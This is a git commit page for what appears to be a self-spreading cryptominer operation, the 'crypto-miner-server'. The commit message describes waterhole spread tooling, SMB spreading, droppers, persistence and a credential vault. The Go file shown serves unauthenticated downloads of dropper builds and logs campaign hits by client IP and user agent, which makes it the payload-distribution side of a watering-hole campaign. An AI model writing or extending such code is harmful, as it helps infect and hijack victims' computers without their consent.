feat: Emberwake, Crucible phases, Linux agent, musical dashboard, e2e
Emberwake spread/waterhole UI, campaign DB, spread handler, spread-kit web publisher, and SPREAD_TECHNIQUES doc. Crucible Phase A-C: expanded ops, port-forward matrix, remote dir browser, crucible help/tests. Linux agent hardening: credential vault, persistence audit, firewall/defender deploy, SMB spread status, CPU stats, screenshots/crypt/file-ops split. Docker compose and agent/server images with e2e validation script and docs. Musical dashboard: ambient music player, hover SFX, SoundContext/AmbientMusicContext, steampunk polish. Public builds API, dropper handler updates, SessionGate and fleet UX. README and PROBLEMS.md refresh.
This commit is contained in:
148
server/internal/api/public_handler.go
Normal file
148
server/internal/api/public_handler.go
Normal file
@@ -0,0 +1,148 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
dbpkg "crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
|
||||
"github.com/go-chi/chi/v5"
|
||||
)
|
||||
|
||||
// PublicBuildsConfig supplies public-download policy from server config.
|
||||
type PublicBuildsConfig struct {
|
||||
Enabled bool
|
||||
LatestN int
|
||||
}
|
||||
|
||||
// PublicHandler serves unauthenticated build listing and download endpoints.
|
||||
type PublicHandler struct {
|
||||
db *dbpkg.Database
|
||||
dataDir string
|
||||
configFn func() PublicBuildsConfig
|
||||
}
|
||||
|
||||
func NewPublicHandler(database *dbpkg.Database, dataDir string, configFn func() PublicBuildsConfig) *PublicHandler {
|
||||
return &PublicHandler{db: database, dataDir: dataDir, configFn: configFn}
|
||||
}
|
||||
|
||||
type publicBuildDTO struct {
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
Platform string `json:"platform"`
|
||||
FileName string `json:"file_name"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
DownloadURL string `json:"download_url"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
Pinned bool `json:"pinned"`
|
||||
Public bool `json:"public"`
|
||||
}
|
||||
|
||||
func toPublicBuildDTO(b *models.BuildRecord) publicBuildDTO {
|
||||
dl := b.DownloadURL
|
||||
if dl == "" {
|
||||
dl = "/api/v1/public/download/" + b.ID
|
||||
} else if !strings.HasPrefix(dl, "/api/v1/public/") {
|
||||
// Rewrite authenticated artifact path to public when listed
|
||||
if strings.Contains(dl, "/artifact/") {
|
||||
parts := strings.Split(dl, "/artifact/")
|
||||
if len(parts) == 2 {
|
||||
dl = "/api/v1/public/download/" + b.ID + "/artifact/" + parts[1]
|
||||
}
|
||||
} else {
|
||||
dl = "/api/v1/public/download/" + b.ID
|
||||
}
|
||||
}
|
||||
return publicBuildDTO{
|
||||
ID: b.ID,
|
||||
WorkerName: b.WorkerName,
|
||||
Platform: b.Platform,
|
||||
FileName: b.FileName,
|
||||
FileSize: b.FileSize,
|
||||
BundleSize: b.BundleSize,
|
||||
DownloadURL: dl,
|
||||
CreatedAt: b.CreatedAt.Format("2006-01-02T15:04:05Z07:00"),
|
||||
Pinned: b.Pinned,
|
||||
Public: b.Public,
|
||||
}
|
||||
}
|
||||
|
||||
// GET /api/v1/public/builds
|
||||
func (h *PublicHandler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||
cfg := h.configFn()
|
||||
builds, err := h.db.ListPublicBuilds(cfg.Enabled, cfg.LatestN)
|
||||
if err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
dtos := make([]publicBuildDTO, 0, len(builds))
|
||||
for _, b := range builds {
|
||||
dtos = append(dtos, toPublicBuildDTO(b))
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"builds": dtos,
|
||||
"public_builds_enabled": cfg.Enabled,
|
||||
"latest_n": cfg.LatestN,
|
||||
})
|
||||
}
|
||||
|
||||
// GET /api/v1/public/download/{id}
|
||||
// GET /api/v1/public/download/{id}/artifact/{name}
|
||||
func (h *PublicHandler) Download(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if id == "" {
|
||||
http.Error(w, "build id required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
cfg := h.configFn()
|
||||
ok, err := h.db.IsBuildPubliclyDownloadable(id, cfg.Enabled, cfg.LatestN)
|
||||
if err != nil || !ok {
|
||||
http.Error(w, "build not available for public download", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
if c := r.URL.Query().Get("c"); c != "" {
|
||||
_ = h.db.LogCampaignHit(c, id, "public_download", clientIP(r), r.UserAgent())
|
||||
}
|
||||
|
||||
build, err := h.db.GetBuild(id)
|
||||
if err != nil {
|
||||
http.Error(w, "build not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
|
||||
artifactName := chi.URLParam(r, "name")
|
||||
if artifactName != "" {
|
||||
path := filepath.Join(h.dataDir, "builds", id, filepath.Base(artifactName))
|
||||
if _, err := os.Stat(path); err != nil {
|
||||
http.Error(w, "artifact not found", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+filepath.Base(artifactName)+`"`)
|
||||
http.ServeFile(w, r, path)
|
||||
return
|
||||
}
|
||||
|
||||
path, name := resolveDropperArtifact(h.dataDir, build)
|
||||
if path == "" {
|
||||
http.Error(w, "artifact missing on disk", http.StatusNotFound)
|
||||
return
|
||||
}
|
||||
w.Header().Set("Content-Disposition", `attachment; filename="`+name+`"`)
|
||||
http.ServeFile(w, r, path)
|
||||
}
|
||||
|
||||
func clientIP(r *http.Request) string {
|
||||
ip := r.Header.Get("X-Forwarded-For")
|
||||
if ip == "" {
|
||||
ip = r.RemoteAddr
|
||||
}
|
||||
if idx := strings.LastIndex(ip, ":"); idx > 0 && strings.Count(ip, ":") == 1 {
|
||||
ip = ip[:idx]
|
||||
}
|
||||
return ip
|
||||
}
|
||||
Reference in New Issue
Block a user